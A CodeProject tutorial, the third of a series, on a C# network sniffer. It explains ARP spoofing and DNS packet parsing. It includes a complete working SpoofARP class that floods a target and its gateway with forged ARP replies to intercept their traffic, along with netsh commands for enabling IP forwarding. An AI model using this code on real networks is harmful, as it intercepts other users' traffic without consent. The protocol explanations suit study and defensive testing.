Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles / Languages / XML

Network Sniffer and Analyzer Program - Part 3

5.00/5 (9 votes)
9 Jan 2024CPOL6 min read 20.4K   1.7K  
Network Sniffer and Analyzer Program written in C# .NET 6.0 Windows Form (Sharppcap, PacketDotNet)
The program can capture and analyze DNS packets. It can also spoof ARP so that you can sniff Other Users Packets in the network. The program firstly scans the network to find connected devices in the network and then you can choose one of the found devices and sniff the incoming and the outgoing packets for this device. note : The program is intended to carry out network penetration tests, as a developer I absolve myself of any misuse.

Image 1

Image 2

Read the first part of this article here.

Read the second part of this article here.

Introduction

In this part, we will learn how to sniff or capture Dns packets from other users in the same network using ARP spoofing.

ARP

What Is Meant by the Term ARP?

ARP: "Address Resolution Protocol" is a network protocol that works on Layer 2 and is used to find out the Mac address when the IP address is known but the associated Mac address is unknown and that in a local area network.

The following diagram shows you how it works.

Image 3

Now that we have learned how the ARP Protocol works, we will move to the next step, namely, learn what is meant by ARP spoofing and how it works.

What is Meant by the Term ARP Spoofing?

It is a man in the middle attack that spoofs ARP queries and assigns a fake mac address in the ARP table of the target device to redirect the data traffic so the goal here is to record the entire data traffic of the target system and, if necessary, to manipulate it.

How It Works

The attackers flood the network by sending fake ARP responses to the target device waiting for a real ARP request from the target device, and at that moment when the target device sends a request, he will get the fake ARP response. Therefore, the mac address in the ARP cache of the target device will be changed to a fake one and so the traffic will be redirected and it will pass from attackers' machine to the network gateway.

The figure below shows you how the traffic and ARP cash look like before and after ARP spoofing:

Image 4

Image 5

The Code

Before we get started, we need to install the required libraries The following libraries are required to get our program working: Packet.Net =>
Using the Paket-Manager-Console, enter the following command:
NuGet\Install-Package PacketDotNet -Version 1.4.7
sharppcap using the Paket-Manager-Console, enter the following command:
NuGet\Install-Package SharpPcap -Version 6.2.5

After we installed the required libraries, we need also to install WinPcap on our devices https://www.winpcap.org/install/default.htm.
Note: Before we start with Spoofing the ARP, we should make sure that the IP Forwarding is Enabled and that is as follows:

netsh interface ipv4 show interfaces

Firstly, we list all available interfaces or Adapters in our device, then we take the wlan idx to use it in the next command that will list for us all properties of the chosen wlan:

netsh interface ipv4 show interface idx-target-interface

If the "Forwarding" is not enabled, than you have to enable it using the following command:

netsh interface ipv4 set interface idx-target-interface forwarding="enabled"

So we are now ready to start coding:

C#
public class SpoofARP
   {
       #region --- Class Data -------------------------------

       private object syncRoot = new Object();
       private bool _isRunning = false;

       #endregion

       #region --- Constructor ------------------------------

       public SpoofARP(ILiveDevice liveDevice, IPAddress srcIpAddresse,
                       PhysicalAddress srcMacAddr, IPAddress desIpAddresse,
                       PhysicalAddress desMacAddr)
       {
           Adapter = liveDevice;
           SrcIpAddresse = srcIpAddresse;
           SrcMACAddresse = srcMacAddr;
           DesIpAddresse = desIpAddresse;
           DesMACAddresse = desMacAddr;
       }
       #endregion

       #region --- Public Methods ---------------------------

       public void SendArpResponsesAsync()
       {
           lock (this.syncRoot)
           {
               if (TargetDevicePacket != null || GatwayPacket != null)
               {
                   if (!this._isRunning)
                   {
                       ThreadPool.QueueUserWorkItem(_ => ThreadProc());
                   }
               } else
               {
                   Error = true;
               }
           }
       }

       public void StopAsync()
       {
           ThreadStart ts = new ThreadStart(Stop);
           Thread thd = new Thread(ts);
           thd.Start();
       }
       #endregion

       #region --- Private Methods --------------------------

       private void Stop()
       {
           lock (this.syncRoot)
           {
               if (this._isRunning)
               {
                   // Tell the worker thread that it needs to abort.
                   this._isRunning = false;
               }
           }
       }

       private void ThreadProc()
       {
           this._isRunning = true;

           while (this._isRunning)
           {
               Adapter.SendPacket(TargetDevicePacket);
               Adapter.SendPacket(GatwayPacket);
               Thread.Sleep(25);
           }
       }

       #endregion

       #region --- IDisposable-------------------------------

       private bool disposed = false;
       public void Dispose()
       {
           Dispose(true);
           GC.SuppressFinalize(this);
       }

       protected virtual void Dispose(bool disposing)
       {
           if (!this.disposed)
           {
               if (disposing)
               {
                   // Clean up all managed resources
                   Stop();
               }
           }

           // Clean up all native resources

           disposed = true;
       }

       #endregion

       #region --- Properties -------------------------------
       public ILiveDevice Adapter { get; set; }
       public IPAddress SrcIpAddresse { get; set; }
       public PhysicalAddress SrcMACAddresse { get; set; }
       public IPAddress DesIpAddresse { get; set; }
       public PhysicalAddress DesMACAddresse { get; set; }

       public bool Error = false;
       public Packet TargetDevicePacket
       {
           get
           {
               try
               {
                   if (SrcIpAddresse == null
                       || SrcMACAddresse == null
                       || DesIpAddresse == null
                       || DesMACAddresse == null)
                   {
                       throw new Exception
                       ("one or more of the required value is null");
                   }
                   else
                   {
                       EthernetPacket EthernetPacket = new EthernetPacket(
                                                        Adapter.MacAddress,
                                                        DesMACAddresse,
                                                        EthernetType.Arp);

                       ArpPacket ArpPacket = new ArpPacket(
                                                       ArpOperation.Response,
                                                       DesMACAddresse, DesIpAddresse,
                                                        Adapter.MacAddress,
                                                         SrcIpAddresse);

                       EthernetPacket.PayloadPacket = ArpPacket;

                       return EthernetPacket;
                   }
               }
               catch (Exception ex)
               {
                   Error = true;

                   return null;
               }
           }
       }

       public Packet GatwayPacket
       {
           get
           {
               try
               {
                   if (SrcIpAddresse == null
                      || SrcMACAddresse == null
                      || DesIpAddresse == null
                      || DesMACAddresse == null)
                   {
                       throw new Exception
                       ("one or more of the required value is null");
                   }
                   else
                   {
                       EthernetPacket EthernetPacket = new EthernetPacket(
                                                          Adapter.MacAddress,
                                                          SrcMACAddresse,
                                                          EthernetType.Arp);

                       ArpPacket ArpPacket = new ArpPacket(
                                                            ArpOperation.Response
                                                            , SrcMACAddresse
                                                            , SrcIpAddresse
                                                            , Adapter.MacAddress
                                                            , DesIpAddresse);

                       EthernetPacket.PayloadPacket = ArpPacket;

                       return EthernetPacket;
                   }
               }
               catch (Exception ex)
               {
                   Error = true;

                   return null;
               }
           }
       }
       public bool IsRunning
       {
           get { return this._isRunning; }
       }

       #endregion
   }

Using the Code

C#
SpoofARP ArpSpoofer = new SpoofARP(Adapter, target, targetMac, gatway, gatwayMac);

ArpSpoofer.SendArpResponsesAsync();

Now after we spoofed the ARP, we continue to work with the DNS packet. The question here is how to Analyze and Capture the DNS Packet. Therefore, we will use the sharpcap library as basic. In this article, I would like to explain the DNS packet structure and the separate component of the packet, the mean of it and how to extract it.

The DNS Packet Structure

Image 6

The Header: Defines a 12 byte long fields and contains general definitional info about the dns packet type and structure like the QR that defines whether the packet is a request or response, or the number of question that gives us info about the other packet section like the question count after the header

The Question and Resource record (answer, authority, additional): Defines flexible number of fields bytes and represents the extension of the packet after the header and contains the actual dns info like the domain name...

Header Section Fields

Name

Byte Index

First Bit Index

Bits Count

valuation

ID

0

0

16

Packet ID in Hex

QR

2

0

1

0 request
1 response

OPCODE

2

1

4

0 Standard Query

1 Inverse Query

2 Server Status Request

AA(Authoritative_Answer)

2

5

1

0 non Authoritative

1 Authoritative

TC(Truncation)

2

6

1

specifies that this message was truncated

RD(Recursion Desired)

2

7

1

Specifies if the server needs to answer the query recursively

RA(Recursion_Available)

3

0

1

denotes whether recursive query support is available in the name server

Z(Zeros)

3

1

3

Reserved for future use

RCODE(Response Code)

3

4

4

0 No Error

1 Format Error

2 Server Failure

3 Name Error

4 Not Implemented
5 Refused

QDCount(Number of Question)

4

0

16

Number of entries in the Question section

ANCount(Number of Answer)

6

0

16

Number of resource records in the answer section

NSCOUNT(Number of Authority)

8

0

16

Number of the name server resource records in the authority records

ARCOUNT(Number of Additional)

10

0

16

Number of resource in the additional record section

Now after we got to know the different Fields and where exactly they are located in the packet, we need to now how to extract the Field from the packet using his location. As an example, we will take the "OPCODE" Field.

The field consists of 4 bits and its start index is 1 (we start counting from zero) a byte has 8 bits => 11111111. In our example, we only set the field bits to 1 and the rest to 0 => 01111000 so we have now the mask that we can apply to our target byte. Let's assume we have a target byte of 17 and its bits like 00010001. First, we apply the "and" operator:

00010001
&
01111000
___________
00010000 = 16

Remember we need to isolate the field bits so now we need to apply the Right shift to the results and there is a formula for that, namely:

Shift Value = 8 - (index + length)

=> 16 >>(8 – (1+4)) => 16 >> 3 = 2

C#
public class BitMask
   {
       int First_Bit_Index { get; set; }

       int Bits_Count { get; set; }

       public int Mask { get; set; }

       public  BitMask(int _First_Bit_Index, int _Bits_Count)
       {
           this.First_Bit_Index = _First_Bit_Index;
           this.Bits_Count = _Bits_Count;
           Mask = Create();
       }

       int Create()
       {
           string zerosByte = "00000000";

           StringBuilder sb = new StringBuilder(zerosByte);

           for (int i = this.First_Bit_Index;
                i < First_Bit_Index + this.Bits_Count; i++)
           {
               sb[i] = '1';
           }

           return Convert.ToInt32(sb.ToString(), 2);
       }

       int CalculateShiftvalue(int index, int length) => 8 - (index + length);

     public string Apply(byte Byte)
       {
           int Shift_value = CalculateShiftvalue(this.First_Bit_Index, this.Bits_Count);
           if(Shift_value!= 0)
           return ((Byte & Mask) >> Shift_value).ToString();
           else return (Byte & Mask).ToString();
       }
   }

Using the Code

C#
public DnsFieldsEnums.OP_Code_Type OP_Code
      {
          get
          {
              string OP_Code_str = new BitMask(DnsFields.OPCODE_bit_Index,
                                               DnsFields.OPCODE_Length_bits)
                                       .Apply(Data[DnsFields.OPCODE_Byte_Index]);

              if (OP_Code_str == "0")
                  return DnsFieldsEnums.OP_Code_Type.Standard_Query;

              else if (OP_Code_str == "1")
                  return DnsFieldsEnums.OP_Code_Type.Inverse_Query;

              else if (OP_Code_str == "2")
                  return DnsFieldsEnums.OP_Code_Type.Server_Status_Request;

              else return DnsFieldsEnums.OP_Code_Type.Reserved_for_future_use;
          }
      }

After we extracted the header information, let's move to the next step, which is to get the actual DNS data from the packet next part namely questions or resource records (answer, authority, additional) and that as in the following steps in the order:

Step 1: Check if the packet is longer than 12 bytes. When it's longer than 12, then continue with the next steps, else don't do anything

Step 2: Loop all Questions available in the packet

  • Note 1: We will use the Number of Question (QDCOUNT) from the header Fields to know how many Questions there are in the packet
  • Note 2: Remember to save the current index of the Byte we have reached in each time we loop.

Step 3: We extract the Domainame, the Type of the query and the Class of the query.

Step 4: Loop all Resource records(answer -> authority -> additional, in the order) available in the packet

Step 5: We extract the Domainame, the Type of the RRs codes, the Class of the data in the Rdata Field, the TTL or time interval (in seconds), the RDLENGTH or the length of the Rdata Field and the RDATA which contain a string that describes the resource. The format of this info varies according to the type and class of the resource records.

And the code:

C#
public List<IDNSINFO> DNS_INFO
      {
          get
          {
              List<IDNSINFO> result = new List<IDNSINFO>();

              if (Data.Length > 12)
              {
                  int lastindex;
                  int CurrentIndex = 12;

                  for (int i = 0; i < this.Number_of_Questions; i++)
                  {
                      string name = GetDomainName(CurrentIndex, out lastindex);
                      string Type = ExtracktIntFromField(lastindex,2,out lastindex)
                                                        .ToString();
                      string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
                                                        .ToString();
                      result.Add(new Question(DNSType.Question, name,Type, Class));
                      CurrentIndex = lastindex;
                  }
                  for (int i = 0; i < Number_of_Answer; i++)
                  {
                      string name = GetDomainName(CurrentIndex, out lastindex);
                      string Type = ExtracktIntFromField(lastindex,2,out lastindex)
                                                        .ToString();
                      string Class = ExtracktIntFromField(lastindex, 2, out lastindex)
                                                         .ToString();
                      Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
                      Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
                      CurrentIndex =(int) (lastindex + Length);
                      IResourceData data = GetResourceData(lastindex, int.Parse(Type));
                      result.Add(new ResourceRecords(DNSType.ResourceRecords
                                                     ,RRsType.Answer
                                                     , name
                                                     , Type
                                                     , Class
                                                     ,TTL
                                                     ,Length
                                                     , data));
                  }
                  for (int i = 0; i < Number_of_Authority; i++)
                  {
                      string name = GetDomainName(CurrentIndex, out lastindex);
                      string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
                                                                            ToString();
                      string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
                                                                            ToString();
                      Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
                      Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
                      CurrentIndex = (int)(lastindex + Length);
                      IResourceData data = GetResourceData(lastindex, int.Parse(Type));
                      result.Add(new ResourceRecords(DNSType.ResourceRecords,
                                                     RRsType.Authority,
                                                      name,
                                                      Type,
                                                      Class,
                                                       TTL,
                                                      Length,
                                                       data));
                  }

                  for (int i = 0; i < Number_of_Additional; i++)
                  {
                      string name = GetDomainName(CurrentIndex, out lastindex);
                      string Type = ExtracktIntFromField(lastindex, 2, out lastindex).
                                                                           ToString();
                      string Class = ExtracktIntFromField(lastindex, 2, out lastindex).
                                                                            ToString();
                      Int64 TTL = ExtracktIntFromField(lastindex, 4, out lastindex);
                      Int64 Length = ExtracktIntFromField(lastindex, 2, out lastindex);
                      CurrentIndex = (int)(lastindex + Length);
                      IResourceData data = GetResourceData(lastindex, int.Parse(Type));
                      result.Add(new ResourceRecords(DNSType.ResourceRecords,
                                                     RRsType.Additional,
                                                           name,
                                                           Type,
                                                           Class,
                                                            TTL,
                                                           Length,
                                                             data));
                  }
              }

              return result;
          }
      }

In the following video, I will show you how to use the program:

History

  • 23rd December, 2022: Initial version

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)